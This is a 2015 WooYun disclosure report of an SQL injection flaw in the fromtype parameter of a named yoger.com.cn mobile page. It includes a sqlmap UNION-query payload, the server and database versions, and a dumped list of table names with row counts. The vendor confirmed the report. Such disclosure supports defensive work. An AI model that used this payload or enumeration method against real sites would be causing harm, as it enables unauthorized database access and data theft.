当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103967

漏洞标题:优个网某站存在SQL注入漏洞

相关厂商:yoger.com.cn

漏洞作者: 疏懒

提交时间:2015-03-27 15:58

修复时间:2015-05-14 09:18

公开时间:2015-05-14 09:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-27: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商已经确认,细节仅向厂商公开
2015-04-09: 细节向核心白帽子及相关领域专家公开
2015-04-19: 细节向普通白帽子公开
2015-04-29: 细节向实习白帽子公开
2015-05-14: 细节向公众公开

简要描述:

优个网某站存在SQL注入漏洞

详细说明:

注入点

http://m.yoger.com.cn/poster.php?zcid=569&fromtype=wap


单引号检测发现泄露绝对路径

123.jpg


经检测参数fromtype存在注入

漏洞证明:

sqlmap identified the following injection points with a total of 137 HTTP(s) req
uests:
---
Place: GET
Parameter: fromtype
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: zcid=569&fromtype=wap' UNION ALL SELECT NULL,CHAR(58) CHAR(107) CHA
R(113) CHAR(107) CHAR(58) CHAR(65) CHAR(90) CHAR(79) CHAR(83) CHAR(114) CHAR(68)
CHAR(97) CHAR(119) CHAR(108) CHAR(120) CHAR(58) CHAR(115) CHAR(118) CHAR(99) CH
AR(58),NULL,NULL,NULL,NULL,NULL--
---
[17:31:28] [INFO] testing Microsoft SQL Server
[17:31:28] [INFO] confirming Microsoft SQL Server
[17:31:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: PHP 5.2.11, Apache 2.2.13
back-end DBMS: Microsoft SQL Server 2000


QQ截图20150326173310.jpg


对数据库“cn36008”进行猜解,发现有200多张表

Database: cn36008
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| dbo.syncobj_0x4645343244413736 | 870347 |
| dbo.Uto_poDetail | 870347 |
| dbo.syncobj_0x3538323538363734 | 861565 |
| dbo.Uto_poFlow | 861563 |
| dbo.syncobj_0x3743304131423830 | 629197 |
| dbo.Uto_sList | 629196 |
| dbo.syncobj_0x4331394132394346 | 446921 |
| dbo.Uto_fList | 446921 |
| dbo.syncobj_0x3534453846373443 | 283657 |
| dbo.Uto_msgbox | 283657 |
| dbo.syncobj_0x4236463744333743 | 273882 |
| dbo.Uto_tosumFree | 273882 |
| dbo.syncobj_0x3239333636393234 | 273645 |
| dbo.Uto_fAccount | 273645 |
| dbo.syncobj_0x3438314438394637 | 267553 |
| dbo.Uto_porder | 267553 |
| dbo.syncobj_0x4632343644304242 | 258630 |
| dbo.Uto_Utor | 258630 |
| dbo.syncobj_0x3541384534344236 | 255391 |
| dbo.Uto_prdComState | 255389 |
| dbo.syncobj_0x4338454436444636 | 227338 |
| dbo.Uto_prdComment | 227338 |
| dbo.syncobj_0x3037384431314430 | 157706 |
| dbo.Uto_Score | 157705 |
| dbo.syncobj_0x4239343233323832 | 156003 |
| dbo.Uto_unClick | 156002 |
| dbo.syncobj_0x3238454644314135 | 111033 |
| dbo.Uto_custom | 111033 |
| dbo.syncobj_0x3143313739363030 | 103273 |
| dbo.Uto_UtorContact | 103273 |
| dbo.syncobj_0x3538413939433133 | 97830 |
| dbo.Uto_ordQuestion | 97830 |
| dbo.syncobj_0x3845303933363634 | 88581 |
| dbo.Uto_prdFavorite | 88581 |
| dbo.syncobj_0x3245394630383231 | 57040 |
| dbo.Uto_card | 57040 |
| dbo.syncobj_0x4344463342313835 | 54596 |
| dbo.Uto_unOrderflow | 54596 |
| dbo.syncobj_0x4430334537373141 | 50841 |
| dbo.Uto_Linkprd | 50841 |
| dbo.syncobj_0x4145383244413132 | 49602 |
| dbo.Uto_prdspec | 49602 |
| dbo.syncobj_0x4342383433364231 | 37964 |
| dbo.Uto_tList | 37963 |
| dbo.qz_user | 35754 |
| dbo.syncobj_0x3538393242443843 | 35754 |
| dbo.syncobj_0x3536423246363344 | 30962 |
| dbo.Yoger_buyerIdea | 30962 |
| dbo.syncobj_0x3435453035333142 | 28960 |
| dbo.Uto_prdPic | 28960 |
| dbo.syncobj_0x4437393236413045 | 27839 |
| dbo.Yoger_prdSku | 27839 |
| dbo.syncobj_0x3930344543423435 | 26595 |
| dbo.Uto_tuanList | 26595 |
| dbo.syncobj_0x3037374632343535 | 25722 |
| dbo.Yoger_prdSku_spec | 25722 |
| dbo.syncobj_0x4638443331374436 | 20252 |
| dbo.Uto_info | 20252 |
| dbo.Uto_cart | 17382 |
| dbo.syncobj_0x4246343039423333 | 9951 |
| dbo.Uto_product | 9951 |
| dbo.syncobj_0x4436324445384646 | 9921 |
| dbo.Yoger_prdKey | 9921 |
| dbo.syncobj_0x4541383234304531 | 6306 |
| dbo.Uto_bbsInfo | 6306 |
| dbo.syncobj_0x4635454231354639 | 5800 |
| dbo.Uto_bbsComment | 5800 |
| dbo.syncobj_0x3938424638463234 | 5124 |
| dbo.Uto_present | 5124 |
| dbo.syncobj_0x3843304630373635 | 4214 |
| dbo.Uto_ExSort | 4214 |
| dbo.syncobj_0x3032413444414334 | 3824 |
| dbo.Uto_sysLog | 3824 |
| dbo.Uto_region | 3562 |
| dbo.syncobj_0x3632383246303938 | 2649 |
| dbo.Yoger_orgerMenu | 2649 |
| dbo.syncobj_0x3134424143303637 | 2460 |
| dbo.Uto_infoComment | 2460 |
| dbo.syncobj_0x3136364330363938 | 2340 |
| dbo.Yoger_OutOfStockLog | 2340 |
| dbo.syncobj_0x3333343133384645 | 2263 |
| dbo.Yoger_partnerList | 2263 |
| dbo.syncobj_0x3038463432433743 | 1937 |
| dbo.Uto_partner | 1937 |
| dbo.syncobj_0x3246353236313934 | 1817 |
| dbo.Uto_DD | 1817 |
| dbo.syncobj_0x4143414242353134 | 1504 |
| dbo.Uto_search | 1504 |
| dbo.syncobj_0x4241453737313232 | 1396 |
| dbo.Yoger_tuihuo | 1396 |
| dbo.syncobj_0x4433383744443245 | 1102 |
| dbo.Uto_exchange | 1102 |
| dbo.syncobj_0x3046453132394433 | 922 |
| dbo.Yoger_PriceList | 922 |
| dbo.syncobj_0x4335424338453244 | 829 |
| dbo.Yoger_keywords | 829 |
| dbo.sysconstraints | 633 |
| dbo.syncobj_0x3146423537434641 | 571 |
| dbo.Yoger_adsManage | 571 |
| dbo.syncobj_0x4244393131323330 | 570 |
| dbo.Uto_unAlist | 570 |
| dbo.syncobj_0x3331373545393337 | 438 |
| dbo.Uto_prdSort | 438 |
| dbo.syncobj_0x4534464444433641 | 424 |
| dbo.Yoger_prdPersonal | 424 |
| dbo.syncobj_0x4531363132434635 | 346 |
| dbo.Uto_limitTime | 346 |
| dbo.syncobj_0x3642383335373030 | 339 |
| dbo.Yoger_detection | 339 |
| dbo.syncobj_0x3335423435363632 | 333 |
| dbo.Uto_tuan | 333 |
| dbo.syncobj_0x3932353535343342 | 294 |
| dbo.Yoger_stiga | 294 |
| dbo.qz_order | 253 |
| dbo.syncobj_0x4132324634364446 | 253 |
| dbo.syncobj_0x4535383334413543 | 242 |
| dbo.Uto_unadsList | 242 |
| dbo.syssubscriptions | 208 |
| dbo.syncobj_0x4434314541393035 | 178 |
| dbo.Uto_formula | 178 |
| dbo.syncobj_0x3131393746453636 | 176 |
| dbo.Uto_unAccount | 176 |
| dbo.syncobj_0x3735414433363632 | 173 |
| dbo.Yoger_prdBrand | 173 |
| dbo.syncobj_0x4331333938353645 | 169 |
| dbo.Uto_unioner | 169 |
| dbo.qz_actioners | 168 |
| dbo.syncobj_0x3939434530363044 | 168 |
| dbo.syncobj_0x3931374135424542 | 149 |
| dbo.Uto_infoSort | 149 |
| dbo.syncobj_0x3341364234353144 | 129 |
| dbo.Yoger_buyfree | 129 |
| dbo.syncobj_0x4535464139443435 | 122 |
| dbo.wap_zhuanchang | 122 |
| dbo.syncobj_0x3936384636384233 | 120 |
| dbo.Uto_sysMenu | 120 |
| dbo.sysextendedarticlesview | 104 |
| dbo.sysarticles | 103 |
| dbo.syncobj_0x3443393930423342 | 102 |
| dbo.Uto_auList | 102 |
| dbo.syncobj_0x3235433442443934 | 99 |
| dbo.Yoger_alterList | 99 |
| dbo.syncobj_0x3642313631333042 | 68 |
| dbo.Uto_payment | 68 |
| dbo.syncobj_0x3535343536443339 | 65 |
| dbo.Yoger_puorderDetail | 65 |
| dbo.uto_suggest | 57 |
| dbo.syncobj_0x4537374231463046 | 50 |
| dbo.Uto_aucomment | 50 |
| dbo.syncobj_0x3445303137464145 | 49 |
| dbo.Uto_poAlert | 49 |
| dbo.syncobj_0x4537324335383045 | 38 |
| dbo.Yoger_giftInfo | 38 |
| dbo.syncobj_0x3833343745313841 | 37 |
| dbo.Uto_orger | 37 |
| dbo.syncobj_0x3037374230394335 | 35 |
| dbo.Yoger_cardAuto | 35 |
| dbo.syncobj_0x3630324244393343 | 34 |
| dbo.Yoger_invi | 34 |
| dbo.syncobj_0x4334303037323635 | 31 |
| dbo.Uto_auTorder | 31 |
| dbo.qz_smrz | 28 |
| dbo.syncobj_0x3232394644423238 | 28 |
| dbo.syncobj_0x3241304534313542 | 27 |
| dbo.Yoger_alter_persent | 27 |
| dbo.syncobj_0x3631394330454536 | 26 |
| dbo.Uto_bbsSort | 26 |
| dbo.syncobj_0x3143433638343038 | 20 |
| dbo.Yoger_giftList | 20 |
| dbo.syncobj_0x4544433745413330 | 19 |
| dbo.Yoger_giftCard | 19 |
| dbo.syncobj_0x3834333732444533 | 14 |
| dbo.Yoger_purchaseOrder | 14 |
| dbo.qz_account | 12 |
| dbo.syncobj_0x3243413135393937 | 12 |
| dbo.syncobj_0x3635314230453945 | 12 |
| dbo.syncobj_0x4330364345313637 | 12 |
| dbo.syncobj_0x4637433930393432 | 12 |
| dbo.Uto_poTo | 12 |
| dbo.Uto_sysSet | 12 |
| dbo.Yoger_infoTopic | 12 |
| dbo.fx_product | 10 |
| dbo.qz_travelers | 9 |
| dbo.syncobj_0x3346364544333838 | 9 |
| dbo.syncobj_0x4146333941424442 | 9 |
| dbo.Uto_unionads | 9 |
| dbo.syncobj_0x3332343935373235 | 8 |
| dbo.Uto_auction | 8 |
| dbo.syncobj_0x3835313034314543 | 7 |
| dbo.syncobj_0x3946454645324131 | 7 |
| dbo.Uto_orgGroup | 7 |
| dbo.Uto_orgRole | 7 |
| dbo.syncobj_0x3141423646443632 | 6 |
| dbo.syncobj_0x3542414637453544 | 6 |
| dbo.syncobj_0x4133443944434142 | 6 |
| dbo.Uto_orgDept | 6 |
| dbo.Yoger_msgboxAuto | 6 |
| dbo.Yoger_productTopic | 6 |
| dbo.syncobj_0x4143443046304241 | 3 |
| dbo.syssegments | 3 |
| dbo.Uto_UtorLayer | 3 |
| dbo.syncobj_0x3130434237344245 | 1 |
| dbo.syncobj_0x3830413543343336 | 1 |
| dbo.syncobj_0x4536384239413437 | 1 |
| dbo.syspublications | 1 |
| dbo.sysschemaarticles | 1 |
| dbo.Uto_org | 1 |
| dbo.Uto_poSet | 1 |
| dbo.Yoger_sortTopic | 1 |
+--------------------------------+---------+


后面就未深入了。。。求高分

修复方案:

你懂的

版权声明:转载请注明来源 疏懒@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-30 09:17

厂商回复:

已经在处理了,谢谢!

最新状态:

暂无


漏洞评价:

评论